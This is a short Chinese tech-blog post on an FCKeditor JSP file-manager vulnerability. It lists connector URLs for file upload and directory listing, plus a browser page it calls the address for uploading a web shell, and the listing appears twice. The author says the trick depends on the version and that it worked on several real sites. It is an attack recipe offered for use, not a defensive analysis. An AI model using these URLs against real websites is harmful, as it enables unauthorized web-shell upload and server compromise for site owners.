FCKeditor JSP版漏洞
程序员文章站
2022-07-10 12:54:39
FCKeditor的JSP版漏洞
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F
... 09-04-20...
fckeditor的jsp版漏洞
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=fileupload&type=image¤tfolder=%2f
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=getfoldersandfiles&type=image¤tfolder=%2f
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/jsp/connector
跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=fileupload&type=image¤tfolder=%2f
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=getfoldersandfiles&type=image¤tfolder=%2f
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/jsp/connector
跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.
上一篇： mysql 读取文件的几种方式及应用